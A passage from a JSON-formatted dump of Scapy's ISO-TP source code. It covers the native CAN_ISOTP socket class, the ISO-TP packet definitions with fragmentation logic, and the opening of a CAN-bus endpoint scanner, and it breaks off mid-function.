struct\n    # This union is to future proof for future can address information\n    _fields_ = [(\"tp\", tp)]\n\n\nclass sockaddr_can(ctypes.Structure):\n    # See /usr/include/linux/can.h for original struct\n    _fields_ = [(\"can_family\", ctypes.c_uint16),\n                (\"can_ifindex\", ctypes.c_int),\n                (\"can_addr\", addr_info)]\n\n\nclass ifreq(ctypes.Structure):\n    # The two fields in this struct were originally unions.\n    # See /usr/include/net/if.h for original struct\n    _fields_ = [(\"ifr_name\", ctypes.c_char * 16),\n                (\"ifr_ifindex\", ctypes.c_int)]\n\n\nclass ISOTPNativeSocket(SuperSocket):\n    \"\"\"\n    ISOTPSocket using the can-isotp kernel module\n\n    :param iface: a CANSocket instance or an interface name\n    :param tx_id: the CAN identifier of the sent CAN frames\n    :param rx_id: the CAN identifier of the received CAN frames\n    :param ext_address: the extended address of the sent ISOTP frames\n    :param rx_ext_address: the extended address of the received ISOTP frames\n    :param bs: block size sent in Flow Control ISOTP frames\n    :param stmin: minimum desired separation time sent in\n                  Flow Control ISOTP frames\n    :param padding: If True, pads sending packets with 0x00 which not\n                    count to the payload.\n                    Does not affect receiving packets.\n    :param listen_only: Does not send Flow Control frames if a First Frame is\n                        received\n    :param frame_txtime: Separation time between two CAN frames during send\n    :param basecls: base class of the packets emitted by this socket\n    \"\"\"\n    desc = \"read/write packets at a given CAN interface using CAN_ISOTP socket \"  # noqa: E501\n    can_isotp_options_fmt = \"@2I4B\"\n    can_isotp_fc_options_fmt = \"@3B\"\n    can_isotp_ll_options_fmt = \"@3B\"\n    sockaddr_can_fmt = \"@H3I\"\n    auxdata_available = True\n\n    def __build_can_isotp_options(\n            self,\n            flags=CAN_ISOTP_DEFAULT_FLAGS,\n            frame_txtime=CAN_ISOTP_DEFAULT_FRAME_TXTIME,\n            ext_address=CAN_ISOTP_DEFAULT_EXT_ADDRESS,\n            txpad_content=CAN_ISOTP_DEFAULT_PAD_CONTENT,\n            rxpad_content=CAN_ISOTP_DEFAULT_PAD_CONTENT,\n            rx_ext_address=CAN_ISOTP_DEFAULT_EXT_ADDRESS):\n        # type: (int, int, int, int, int, int) -> bytes\n        return struct.pack(self.can_isotp_options_fmt,\n                           flags,\n                           frame_txtime,\n                           ext_address,\n                           txpad_content,\n                           rxpad_content,\n                           rx_ext_address)\n\n    # == Must use native not standard types for packing ==\n    # struct can_isotp_options {\n    # __u32 flags;            /* set flags for isotp behaviour.       */\n    #                         /* __u32 value : flags see below        */\n    #\n    # __u32 frame_txtime;     /* frame transmission time (N_As/N_Ar)  */\n    #                       /* __u32 value : time in nano secs      */\n    #\n    # __u8  ext_address;      /* set address for extended addressing  */\n    #                         /* __u8 value : extended address        */\n    #\n    # __u8  txpad_content;    /* set content of padding byte (tx)     */\n    #                         /* __u8 value : content on tx path      */\n    #\n    # __u8  rxpad_content;    /* set content of padding byte (rx)     */\n    #                         /* __u8 value : content on rx path      */\n    #\n    # __u8  rx_ext_address;   /* set address for extended addressing  */\n    #                         /* __u8 value : extended address (rx)   */\n    # };\n\n    def __build_can_isotp_fc_options(self,\n                                     bs=CAN_ISOTP_DEFAULT_RECV_BS,\n                                     stmin=CAN_ISOTP_DEFAULT_RECV_STMIN,\n                                     wftmax=CAN_ISOTP_DEFAULT_RECV_WFTMAX):\n        # type: (int, int, int) -> bytes\n        return struct.pack(self.can_isotp_fc_options_fmt,\n                           bs,\n                           stmin,\n                           wftmax)\n\n    # == Must use native not standard types for packing ==\n    # struct can_isotp_fc_options {\n    #\n    # __u8  bs;               /* blocksize provided in FC frame       */\n    #                         /* __u8 value : blocksize. 0 = off      */\n    #\n    # __u8  stmin;            /* separation time provided in FC frame */\n    #                         /* __u8 value :                         */\n    #                         /* 0x00 - 0x7F : 0 - 127 ms             */\n    #                         /* 0x80 - 0xF0 : reserved               */\n    #                         /* 0xF1 - 0xF9 : 100 us - 900 us        */\n    #                         /* 0xFA - 0xFF : reserved               */\n    #\n    # __u8  wftmax;           /* max. number of wait frame transmiss. */\n    #                         /* __u8 value : 0 = omit FC N_PDU WT    */\n    # };\n\n    def __build_can_isotp_ll_options(self,\n                                     mtu=CAN_ISOTP_DEFAULT_LL_MTU,\n                                     tx_dl=CAN_ISOTP_DEFAULT_LL_TX_DL,\n                                     tx_flags=CAN_ISOTP_DEFAULT_LL_TX_FLAGS\n                                     ):\n        # type: (int, int, int) -> bytes\n        return struct.pack(self.can_isotp_ll_options_fmt,\n                           mtu,\n                           tx_dl,\n                           tx_flags)\n\n    # == Must use native not standard types for packing ==\n    # struct can_isotp_ll_options {\n    #\n    # __u8  mtu;              /* generated & accepted CAN frame type  */\n    #                         /* __u8 value :                         */\n    #                         /* CAN_MTU   (16) -> standard CAN 2.0   */\n    #                         /* CANFD_MTU (72) -> CAN FD frame       */\n    #\n    # __u8  tx_dl;            /* tx link layer data length in bytes   */\n    #                         /* (configured maximum payload length)  */\n    #                         /* __u8 value : 8,12,16,20,24,32,48,64  */\n    #                         /* => rx path supports all LL_DL values */\n    #\n    # __u8  tx_flags;         /* set into struct canfd_frame.flags    */\n    #                         /* at frame creation: e.g. CANFD_BRS    */\n    #                         /* Obsolete when the BRS flag is fixed  */\n    #                         /* by the CAN netdriver configuration   */\n    # };\n\n    def __get_sock_ifreq(self, sock, iface):\n        # type: (socket.socket, str) -> ifreq\n        socket_id = ctypes.c_int(sock.fileno())\n        ifr = ifreq()\n        ifr.ifr_name = iface.encode('ascii')\n        ret = LIBC.ioctl(socket_id, SIOCGIFINDEX, ctypes.byref(ifr))\n\n        if ret < 0:\n            m = u'Failure while getting \"{}\" interface index.'.format(\n                iface)\n            raise Scapy_Exception(m)\n        return ifr\n\n    def __bind_socket(self, sock, iface, tx_id, rx_id):\n        # type: (socket.socket, str, int, int) -> None\n        socket_id = ctypes.c_int(sock.fileno())\n        ifr = self.__get_sock_ifreq(sock, iface)\n\n        if tx_id > 0x7ff:\n            tx_id = tx_id | socket.CAN_EFF_FLAG\n        if rx_id > 0x7ff:\n            rx_id = rx_id | socket.CAN_EFF_FLAG\n\n        # select the CAN interface and bind the socket to it\n        addr = sockaddr_can(ctypes.c_uint16(socket.PF_CAN),\n                            ifr.ifr_ifindex,\n                            addr_info(tp(ctypes.c_uint32(rx_id),\n                                         ctypes.c_uint32(tx_id))))\n\n        error = LIBC.bind(socket_id, ctypes.byref(addr),\n                          ctypes.sizeof(addr))\n\n        if error < 0:\n            log_isotp.warning(\"Couldn't bind socket\")\n\n    def __set_option_flags(self,\n                           sock,  # type: socket.socket\n                           extended_addr=None,  # type: Optional[int]\n                           extended_rx_addr=None,  # type: Optional[int]\n                           listen_only=False,  # type: bool\n                           padding=False,  # type: bool\n                           transmit_time=100  # type: int\n                           ):\n        # type: (...) -> None\n        option_flags = CAN_ISOTP_DEFAULT_FLAGS\n        if extended_addr is not None:\n            option_flags = option_flags | CAN_ISOTP_EXTEND_ADDR\n        else:\n            extended_addr = CAN_ISOTP_DEFAULT_EXT_ADDRESS\n\n        if extended_rx_addr is not None:\n            option_flags = option_flags | CAN_ISOTP_RX_EXT_ADDR\n        else:\n            extended_rx_addr = CAN_ISOTP_DEFAULT_EXT_ADDRESS\n\n        if listen_only:\n            option_flags = option_flags | CAN_ISOTP_LISTEN_MODE\n\n        if padding:\n            option_flags = option_flags | CAN_ISOTP_TX_PADDING | CAN_ISOTP_RX_PADDING  # noqa: E501\n\n        sock.setsockopt(SOL_CAN_ISOTP,\n                        CAN_ISOTP_OPTS,\n                        self.__build_can_isotp_options(\n                            frame_txtime=transmit_time,\n                            flags=option_flags,\n                            ext_address=extended_addr,\n                            rx_ext_address=extended_rx_addr))\n\n    def __init__(self,\n                 iface=None,  # type: Optional[Union[str, SuperSocket]]\n                 tx_id=0,  # type: int\n                 rx_id=0,  # type: int\n                 ext_address=None,  # type: Optional[int]\n                 rx_ext_address=None,  # type: Optional[int]\n                 bs=CAN_ISOTP_DEFAULT_RECV_BS,  # type: int\n                 stmin=CAN_ISOTP_DEFAULT_RECV_STMIN,  # type: int\n                 padding=False,  # type: bool\n                 listen_only=False,  # type: bool\n                 frame_txtime=CAN_ISOTP_DEFAULT_FRAME_TXTIME,  # type: int\n                 fd=False,  # type: bool\n                 brs=False,  # type: bool\n                 basecls=ISOTP  # type: Type[Packet]\n                 ):\n        # type: (...) -> None\n\n        if not isinstance(iface, str):\n            # This is for interoperability with ISOTPSoftSockets.\n            # If a NativeCANSocket is provided, the interface name of this\n            # socket is extracted and an ISOTPNativeSocket will be opened\n            # on this interface.\n            iface = cast(SuperSocket, iface)\n            if hasattr(iface, \"ins\") and hasattr(iface.ins, \"getsockname\"):\n                iface = iface.ins.getsockname()\n                if isinstance(iface, tuple):\n                    iface = cast(str, iface[0])\n            else:\n                raise Scapy_Exception(\"Provide a string or a CANSocket \"\n                                      \"object as iface parameter\")\n\n        self.iface: str = cast(str, iface) or conf.contribs['NativeCANSocket']['iface']  # noqa: E501\n        # store arguments internally\n        self.tx_id = tx_id\n        self.rx_id = rx_id\n        self.ext_address = ext_address\n        self.rx_ext_address = rx_ext_address\n        self.bs = bs\n        self.stmin = stmin\n        self.padding = padding\n        self.listen_only = listen_only\n        self.frame_txtime = frame_txtime\n        self.fd = fd\n        self.brs = brs\n        if basecls is None:\n            log_isotp.warning('Provide a basecls ')\n        self.basecls = basecls\n        self._init_socket()\n\n    def _init_socket(self) -> None:\n        can_socket = socket.socket(\n            socket.PF_CAN, socket.SOCK_DGRAM, CAN_ISOTP)\n\n        self.__set_option_flags(\n            can_socket,\n            self.ext_address,\n            self.rx_ext_address,\n            self.listen_only,\n            self.padding,\n            self.frame_txtime)\n\n        can_socket.setsockopt(\n            SOL_CAN_ISOTP,\n            CAN_ISOTP_RECV_FC,\n            self.__build_can_isotp_fc_options(stmin=self.stmin, bs=self.bs))\n\n        tx_flags = ((CANFD_FDF if self.fd else 0) +\n                    (CANFD_BRS if (self.brs + self.fd) else 0))\n        tx_dl = CAN_FD_ISOTP_DEFAULT_LL_TX_DL if self.fd else CAN_ISOTP_DEFAULT_LL_TX_DL\n\n        can_socket.setsockopt(\n            SOL_CAN_ISOTP,\n            CAN_ISOTP_LL_OPTS,\n            self.__build_can_isotp_ll_options(\n                mtu=CAN_ISOTP_CANFD_MTU if self.fd else CAN_ISOTP_DEFAULT_LL_MTU,\n                tx_dl=tx_dl,\n                tx_flags=tx_flags))\n        can_socket.setsockopt(\n            socket.SOL_SOCKET,\n            SO_TIMESTAMPNS,\n            1\n        )\n\n        self.__bind_socket(can_socket, self.iface, self.tx_id, self.rx_id)\n        # make sure existing sockets are closed,\n        # required in case of a reconnect.\n        if getattr(self, \"outs\", None):\n            if getattr(self, \"ins\", None) != self.outs:\n                if self.outs and self.outs.fileno() != -1:\n                    self.outs.close()\n        if getattr(self, \"ins\", None):\n            if self.ins.fileno() != -1:\n                self.ins.close()\n\n        self.ins = can_socket\n        self.outs = can_socket\n        self.closed = False\n\n    def recv_raw(self, x=0xffff):\n        # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]]  # noqa: E501\n        \"\"\"\n        Receives a packet, then returns a tuple containing\n        (cls, pkt_data, time)\n        \"\"\"\n        try:\n            pkt, _, ts = self._recv_raw(self.ins, x)\n        except BlockingIOError:  # noqa: F821\n            log_isotp.warning('Captured no data, socket in non-blocking mode.')\n            return None, None, None\n        except socket.timeout:\n            log_isotp.warning('Captured no data, socket read timed out.')\n            return None, None, None\n        except OSError as e:\n            # something bad happened (e.g. the interface went down)\n            log_isotp.warning(\"Captured no data. %s\" % e)\n            if e.errno == 84:\n                log_isotp.warning(\"Maybe a consecutive frame was missed. \"\n                                  \"Increasing `stmin` could solve this problem.\")\n            elif e.errno == 110:\n                log_isotp.warning('Captured no data, socket read timed out.')\n            elif e.errno == 70:\n                log_isotp.warning(\n                    'Communication error on send. '\n                    'TX path flowcontrol reception timeout.')\n            else:\n                log_isotp.error(\n                    'Unknown error code received %d. Closing socket!', e.errno)\n                self.close()\n            return None, None, None\n\n        if pkt and ts is None:\n            ts = get_last_packet_timestamp(self.ins)\n        return self.basecls, pkt, ts\n\n    def recv(self, x=0xffff, **kwargs):\n        # type: (int, **Any) -> Optional[Packet]\n        msg = SuperSocket.recv(self, x, **kwargs)\n        if msg is None:\n            return msg\n\n        if hasattr(msg, \"tx_id\"):\n            msg.tx_id = self.tx_id\n        if hasattr(msg, \"rx_id\"):\n            msg.rx_id = self.rx_id\n        if hasattr(msg, \"ext_address\"):\n            msg.ext_address = self.ext_address\n        if hasattr(msg, \"rx_ext_address\"):\n            msg.rx_ext_address = self.rx_ext_address\n        return msg\n"
  },
  {
    "path": "scapy/contrib/isotp/isotp_packet.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = ISO-TP (ISO 15765-2) Packet Definitions\n# scapy.contrib.status = library\n\nimport logging\nimport struct\n# Typing imports\nfrom typing import (\n    Optional,\n    List,\n    Tuple,\n    Any,\n    Type,\n    cast,\n)\n\nfrom scapy.compat import chb, orb\nfrom scapy.config import conf\nfrom scapy.error import Scapy_Exception\nfrom scapy.fields import BitField, FlagsField, StrLenField, \\\n    ThreeBytesField, XBitField, ConditionalField, \\\n    BitEnumField, ByteField, XByteField, BitFieldLenField, StrField, \\\n    FieldLenField, IntField, ShortField\nfrom scapy.layers.can import CAN, CAN_FD_MAX_DLEN as CAN_FD_MAX_DLEN, CANFD\nfrom scapy.packet import Packet\n\nlog_isotp = logging.getLogger(\"scapy.contrib.isotp\")\n\nCAN_MAX_IDENTIFIER = (1 << 29) - 1  # Maximum 29-bit identifier\nCAN_MTU = 16\nCAN_MAX_DLEN = 8\nISOTP_MAX_DLEN_2015 = (1 << 32) - 1  # Maximum for 32-bit FF_DL\nISOTP_MAX_DLEN = (1 << 12) - 1  # Maximum for 12-bit FF_DL\nISOTP_TYPES = {0: 'single',\n               1: 'first',\n               2: 'consecutive',\n               3: 'flow_control'}\n\nN_PCI_SF = 0x00  # /* single frame */\nN_PCI_FF = 0x10  # /* first frame */\nN_PCI_CF = 0x20  # /* consecutive frame */\nN_PCI_FC = 0x30  # /* flow control */\n\n\nclass ISOTP(Packet):\n    \"\"\"Packet class for ISOTP messages. This class contains additional\n    slots for source address (tx_id), destination address (rx_id),\n    extended source address (ext_address) and\n    extended destination address (rx_ext_address) information. This information\n    gets filled from ISOTPSockets or the ISOTPMessageBuilder, if it\n    is available. Address information is not used for Packet comparison.\n\n    :param args: Arguments for Packet init, for example bytes string\n    :param kwargs: Keyword arguments for Packet init.\n    \"\"\"\n    name = 'ISOTP'\n    fields_desc = [\n        StrField('data', b\"\")\n    ]\n    __slots__ = Packet.__slots__ + [\"tx_id\", \"rx_id\", \"ext_address\", \"rx_ext_address\"]  # noqa: E501\n\n    def __init__(self, *args, **kwargs):\n        # type: (Any, Any) -> None\n        self.tx_id = kwargs.pop(\"tx_id\", None)  # type: Optional[int]\n        self.rx_id = kwargs.pop(\"rx_id\", None)  # type: Optional[int]\n        self.ext_address = kwargs.pop(\"ext_address\", None)  # type: Optional[int]  # noqa: E501\n        self.rx_ext_address = kwargs.pop(\"rx_ext_address\", None)  # type: Optional[int]  # noqa: E501\n        Packet.__init__(self, *args, **kwargs)\n        self.validate_fields()\n\n    def validate_fields(self):\n        # type: () -> None\n        \"\"\"Helper function to validate information in tx_id, rx_id,\n        ext_address and rx_ext_address slots\n        \"\"\"\n        if self.tx_id is not None:\n            if not 0 <= self.tx_id <= CAN_MAX_IDENTIFIER:\n                raise Scapy_Exception(\"tx_id is not a valid CAN identifier\")\n        if self.rx_id is not None:\n            if not 0 <= self.rx_id <= CAN_MAX_IDENTIFIER:\n                raise Scapy_Exception(\"rx_id is not a valid CAN identifier\")\n        if self.ext_address is not None:\n            if not 0 <= self.ext_address <= 0xff:\n                raise Scapy_Exception(\"ext_address is not a byte\")\n        if self.rx_ext_address is not None:\n            if not 0 <= self.rx_ext_address <= 0xff:\n                raise Scapy_Exception(\"rx_ext_address is not a byte\")\n\n    def fragment(self, *args, **kargs):\n        # type: (*Any, **Any) -> List[Packet]\n        \"\"\"Helper function to fragment an ISOTP message into multiple\n        CAN frames.\n\n        :param fd: type: Optional[bool]: will fragment the can frames\n            with size CAN_FD_MAX_DLEN\n\n        :return: A list of CAN frames\n        \"\"\"\n\n        fd = kargs.pop(\"fd\", False)\n        pkt_cls = CANFD if fd else CAN\n\n        def _get_data_len():\n            # type: () -> int\n            return CAN_MAX_DLEN if not fd else CAN_FD_MAX_DLEN\n\n        data_bytes_in_frame = _get_data_len() - 1\n        if self.rx_ext_address is not None:\n            data_bytes_in_frame = data_bytes_in_frame - 1\n\n        if len(self.data) > ISOTP_MAX_DLEN_2015:\n            raise Scapy_Exception(\"Too much data in ISOTP message\")\n\n        if len(self.data) <= data_bytes_in_frame:\n            # We can do this in a single frame\n            frame_data = struct.pack('B', len(self.data)) + self.data\n            if self.rx_ext_address:\n                frame_data = struct.pack('B', self.rx_ext_address) + frame_data\n\n            if self.rx_id is None or self.rx_id <= 0x7ff:\n                pkt = pkt_cls(identifier=self.rx_id, data=frame_data)\n            else:\n                pkt = pkt_cls(identifier=self.rx_id, flags=\"extended\",\n                              data=frame_data)\n            return [pkt]\n\n        # Construct the first frame\n        if len(self.data) <= ISOTP_MAX_DLEN:\n            frame_header = struct.pack(\">H\", len(self.data) + 0x1000)\n        else:\n            frame_header = struct.pack(\">HI\", 0x1000, len(self.data))\n        if self.rx_ext_address:\n            frame_header = struct.pack('B', self.rx_ext_address) + frame_header\n        idx = _get_data_len() - len(frame_header)\n        frame_data = self.data[0:idx]\n        if self.rx_id is None or self.rx_id <= 0x7ff:\n            frame = pkt_cls(identifier=self.rx_id, data=frame_header + frame_data)\n        else:\n            frame = pkt_cls(identifier=self.rx_id, flags=\"extended\",\n                            data=frame_header + frame_data)\n\n        # Construct consecutive frames\n        n = 1\n        pkts = [frame]\n        while idx < len(self.data):\n            frame_data = self.data[idx:idx + data_bytes_in_frame]\n            frame_header = struct.pack(\"b\", (n % 16) + N_PCI_CF)\n\n            n += 1\n            idx += len(frame_data)\n\n            if self.rx_ext_address:\n                frame_header = struct.pack('B', self.rx_ext_address) + frame_header  # noqa: E501\n            if self.rx_id is None or self.rx_id <= 0x7ff:\n                pkt = pkt_cls(identifier=self.rx_id, data=frame_header + frame_data)  # noqa: E501\n            else:\n                pkt = pkt_cls(identifier=self.rx_id, flags=\"extended\",\n                              data=frame_header + frame_data)\n            pkts.append(pkt)\n        return cast(List[Packet], pkts)\n\n    @staticmethod\n    def defragment(can_frames, use_extended_addressing=None):\n        # type: (List[Packet], Optional[bool]) -> Optional[ISOTP]\n        \"\"\"Helper function to defragment a list of CAN frames to one ISOTP\n        message\n\n        :param can_frames: A list of CAN frames\n        :param use_extended_addressing: Specify if extended ISO-TP addressing\n                                        is used in the packets for\n                                        defragmentation.\n        :return: An ISOTP message containing the data of the CAN frames or None\n        \"\"\"\n        from scapy.contrib.isotp.isotp_utils import ISOTPMessageBuilder\n\n        if len(can_frames) == 0:\n            raise Scapy_Exception(\"ISOTP.defragment called with 0 frames\")\n\n        dst = can_frames[0].identifier\n        if any(frame.identifier != dst for frame in can_frames):\n            log_isotp.warning(\"Not all CAN frames have the same identifier\")\n\n        parser = ISOTPMessageBuilder(use_extended_addressing)\n        parser.feed(can_frames)\n\n        results = []\n        for p in parser:\n            if (use_extended_addressing is True and\n                p.rx_ext_address is not None) \\\n                    or (use_extended_addressing is False and\n                        p.rx_ext_address is None) \\\n                    or (use_extended_addressing is None):\n                results.append(p)\n\n        if not results:\n            return None\n\n        if len(results) > 1:\n            log_isotp.warning(\n                \"More than one ISOTP frame could be defragmented from the \"\n                \"provided CAN frames, only returning the first one.\")\n\n        return results[0]\n\n\nclass ISOTPHeader(CAN):\n    name = 'ISOTPHeader'\n    fields_desc = [\n        FlagsField('flags', 0, 3, ['error',\n                                   'remote_transmission_request',\n                                   'extended']),\n        XBitField('identifier', 0, 29),\n        ByteField('length', None),\n        ThreeBytesField('reserved', 0)\n    ]\n\n    def extract_padding(self, p):\n        # type: (bytes) -> Tuple[bytes, Optional[bytes]]\n        return p, None\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        \"\"\"\n        This will set the ByteField 'length' to the correct value.\n        \"\"\"\n        if self.length is None:\n            pkt = pkt[:4] + chb(len(pay)) + pkt[5:]\n\n        if conf.contribs['CAN']['swap-bytes']:\n            data = CAN.inv_endianness(pkt)  # type: bytes\n            return data + pay\n        return pkt + pay\n\n    def guess_payload_class(self, payload):\n        # type: (bytes) -> Type[Packet]\n        \"\"\"ISO-TP encodes the frame type in the first nibble of a frame. This\n        is used to determine the payload_class\n\n        :param payload: payload bytes string\n        :return: Type of payload class\n        \"\"\"\n        if len(payload) < 1:\n            return self.default_payload_class(payload)\n\n        t = (orb(payload[0]) & 0xf0) >> 4\n        if t == 0:\n            length = (orb(payload[0]) & 0x0f)\n            if length == 0:\n                return ISOTP_SF_FD\n            else:\n                return ISOTP_SF\n        elif t == 1:\n            if len(payload) < 2:\n                return self.default_payload_class(payload)\n            length = ((orb(payload[0]) & 0x0f) << 12) + orb(payload[1])\n            if length == 0:\n                return ISOTP_FF_FD\n            else:\n                return ISOTP_FF\n        elif t == 2:\n            return ISOTP_CF\n        else:\n            return ISOTP_FC\n\n\nclass ISOTPHeader_FD(ISOTPHeader):\n    name = 'ISOTPHeaderFD'\n    fields_desc = [\n        FlagsField('flags', 0, 3, ['error',\n                                   'remote_transmission_request',\n                                   'extended']),\n        XBitField('identifier', 0, 29),\n        ByteField('length', None),\n        FlagsField('fd_flags', 4, 8, ['bit_rate_switch',\n                                      'error_state_indicator',\n                                      'fd_frame']),\n        ShortField('reserved', 0),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n\n        data = super().post_build(pkt, pay)\n\n        length = data[4]\n\n        if 8 < length <= 24:\n            wire_length = length + (-length) % 4\n        elif 24 < length <= 64:\n            wire_length = length + (-length) % 8\n        elif length > 64:\n            raise NotImplementedError\n        else:\n            wire_length = length\n\n        pad = b\"\\x00\" * (wire_length - length)\n\n        return data[0:4] + chb(wire_length) + data[5:] + pad\n\n\nclass ISOTPHeaderEA(ISOTPHeader):\n    name = 'ISOTPHeaderExtendedAddress'\n    fields_desc = [\n        FlagsField('flags', 0, 3, ['error',\n                                   'remote_transmission_request',\n                                   'extended']),\n        XBitField('identifier', 0, 29),\n        ByteField('length', None),\n        ThreeBytesField('reserved', 0),\n        XByteField('extended_address', 0)\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        \"\"\"\n        This will set the ByteField 'length' to the correct value.\n        'chb(len(pay) + 1)' is required, because the field 'extended_address'\n        is counted as payload on the CAN layer\n        \"\"\"\n        if self.length is None:\n            pkt = pkt[:4] + chb(len(pay) + 1) + pkt[5:]\n\n        if conf.contribs['CAN']['swap-bytes']:\n            data = CAN.inv_endianness(pkt)  # type: bytes\n            return data + pay\n        return pkt + pay\n\n\nclass ISOTPHeaderEA_FD(ISOTPHeaderEA):\n    name = 'ISOTPHeaderExtendedAddressFD'\n    fields_desc = [\n        FlagsField('flags', 0, 3, ['error',\n                                   'remote_transmission_request',\n                                   'extended']),\n        XBitField('identifier', 0, 29),\n        ByteField('length', None),\n        FlagsField('fd_flags', 4, 8, ['bit_rate_switch',\n                                      'error_state_indicator',\n                                      'fd_frame']),\n        ShortField('reserved', 0),\n        XByteField('extended_address', 0)\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n\n        data = super().post_build(pkt, pay)\n\n        length = data[4]\n\n        if 8 < length <= 24:\n            wire_length = length + (-length) % 4\n        elif 24 < length <= 64:\n            wire_length = length + (-length) % 8\n        elif length > 64:\n            raise NotImplementedError\n        else:\n            wire_length = length\n\n        pad = b\"\\x00\" * (wire_length - length)\n\n        return data[0:4] + chb(wire_length) + data[5:] + pad\n\n\nISOTP_TYPE = {0: 'single',\n              1: 'first',\n              2: 'consecutive',\n              3: 'flow_control'}\n\n\nclass ISOTP_SF(Packet):\n    name = 'ISOTPSingleFrame'\n    fields_desc = [\n        BitEnumField('type', 0, 4, ISOTP_TYPE),\n        BitFieldLenField('message_size', None, 4, length_of='data'),\n        StrLenField('data', b'', length_from=lambda pkt: pkt.message_size)\n    ]\n\n\nclass ISOTP_SF_FD(Packet):\n    name = 'ISOTPSingleFrameFD'\n    fields_desc = [\n        BitEnumField('type', 0, 4, ISOTP_TYPE),\n        BitField('zero_field', 0, 4),\n        FieldLenField('message_size', None, length_of='data', fmt=\"B\"),\n        StrLenField('data', b'', length_from=lambda pkt: pkt.message_size)\n    ]\n\n\nclass ISOTP_FF(Packet):\n    name = 'ISOTPFirstFrame'\n    fields_desc = [\n        BitEnumField('type', 1, 4, ISOTP_TYPE),\n        BitField('message_size', 0, 12),\n        ConditionalField(IntField('extended_message_size', 0),\n                         lambda pkt: pkt.message_size == 0),\n        StrField('data', b'', fmt=\"B\")\n    ]\n\n\nclass ISOTP_FF_FD(Packet):\n    name = 'ISOTPFirstFrame'\n    fields_desc = [\n        BitEnumField('type', 1, 4, ISOTP_TYPE),\n        BitField('zero_field', 0, 12),\n        IntField('message_size', 0),\n        StrField('data', b'', fmt=\"B\")\n    ]\n\n\nclass ISOTP_CF(Packet):\n    name = 'ISOTPConsecutiveFrame'\n    fields_desc = [\n        BitEnumField('type', 2, 4, ISOTP_TYPE),\n        BitField('index', 0, 4),\n        StrField('data', b'', fmt=\"B\")\n    ]\n\n\nclass ISOTP_FC(Packet):\n    name = 'ISOTPFlowControlFrame'\n    fields_desc = [\n        BitEnumField('type', 3, 4, ISOTP_TYPE),\n        BitEnumField('fc_flag', 0, 4, {0: 'continue',\n                                       1: 'wait',\n                                       2: 'abort'}),\n        ByteField('block_size', 0),\n        ByteField('separation_time', 0),\n    ]\n"
  },
  {
    "path": "scapy/contrib/isotp/isotp_scanner.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n# Copyright (C) Alexander Schroeder <alexander1.schroeder@st.othr.de>\n\n# scapy.contrib.description = ISO-TP (ISO 15765-2) Scanner Utility\n# scapy.contrib.status = library\n\nimport itertools\nimport json\nimport logging\nimport time\nfrom threading import Event\n# Typing imports\nfrom typing import (\n    Any,\n    Dict,\n    Iterable,\n    List,\n    Optional,\n    Tuple,\n    Union, Type,\n)\n\nfrom scapy.compat import orb\nfrom scapy.contrib.cansocket import PYTHON_CAN\nfrom scapy.contrib.isotp import ISOTPHeader_FD\nfrom scapy.contrib.isotp.isotp_packet import ISOTPHeader, ISOTPHeaderEA, \\\n    ISOTP_FF, ISOTP, ISOTPHeaderEA_FD\nfrom scapy.layers.can import CAN, CANFD\nfrom scapy.packet import Packet\nfrom scapy.supersocket import SuperSocket\n\nlog_isotp = logging.getLogger(\"scapy.contrib.isotp\")\n\n\ndef send_multiple_ext(sock, ext_id, packet, number_of_packets):\n    # type: (SuperSocket, int, Packet, int) -> None\n    \"\"\"Send multiple packets with extended addresses at once.\n\n    This function is used for scanning with extended addresses.\n    It sends multiple packets at once. The number of packets\n    is defined in the number_of_packets variable.\n    It only iterates the extended ID, NOT the actual CAN ID of the packet.\n    This method is used in extended scan function.\n\n    :param sock: CAN interface to send packets\n    :param ext_id: Extended ISOTP-Address\n    :param packet: Template Packet\n    :param number_of_packets: number of packets to send in one batch\n    \"\"\"\n    end_id = min(ext_id + number_of_packets, 255)\n    for i in range(ext_id, end_id + 1):\n        packet.extended_address = i\n        sock.send(packet)\n\n\ndef get_isotp_packet(identifier=0x0, extended=False, extended_can_id=False, fd=False):\n    # type: (int, bool, bool, bool) -> Packet\n    \"\"\"Craft ISO-TP packet\n\n    :param identifier: identifier of crafted packet\n    :param extended: boolean if packet uses extended address\n    :param extended_can_id: boolean if CAN should use extended Ids\n    :param fd: boolean if CANFD packets should be used\n    :return: Crafted Packet\n    \"\"\"\n\n    if extended:\n        if fd:\n            pkt = ISOTPHeaderEA_FD() / ISOTP_FF()  # type: Packet\n        else:\n            pkt = ISOTPHeaderEA() / ISOTP_FF()\n        pkt.extended_address = 0\n        pkt.data = b'\\x00\\x00\\x00\\x00\\x00'\n    else:\n        if fd:\n            pkt = ISOTPHeader_FD() / ISOTP_FF()\n        else:\n            pkt = ISOTPHeader() / ISOTP_FF()\n        pkt.data = b'\\x00\\x00\\x00\\x00\\x00\\x00'\n    if extended_can_id:\n        pkt.flags = \"extended\"\n\n    pkt.identifier = identifier\n    pkt.message_size = 100\n    return pkt\n\n\ndef filter_periodic_packets(packet_dict):\n    # type: (Dict[int, Tuple[Packet, int]]) -> None\n    \"\"\"Filter to remove periodic packets from packet_dict\n\n    ISOTP-Filter for periodic packets (same ID, always same time-gaps)\n    Deletes periodic packets in packet_dict\n\n    :param packet_dict: Dictionary, where the filter is applied\n    \"\"\"\n    filter_dict = {}  # type: Dict[int, Tuple[List[int], List[Packet]]]\n\n    for key, value in packet_dict.items():\n        pkt = value[0]\n        idn = value[1]\n        if idn not in filter_dict:\n            filter_dict[idn] = ([key], [pkt])\n        else:\n            key_lst, pkt_lst = filter_dict[idn]\n            filter_dict[idn] = (key_lst + [key], pkt_lst + [pkt])\n\n    for idn in filter_dict:\n        key_lst = filter_dict[idn][0]\n        pkt_lst = filter_dict[idn][1]\n        if len(pkt_lst) < 3:\n            continue\n\n        tg = [float(p1.time) - float(p2.time)\n              for p1, p2 in zip(pkt_lst[1:], pkt_lst[:-1])]\n        if all(abs(t1 - 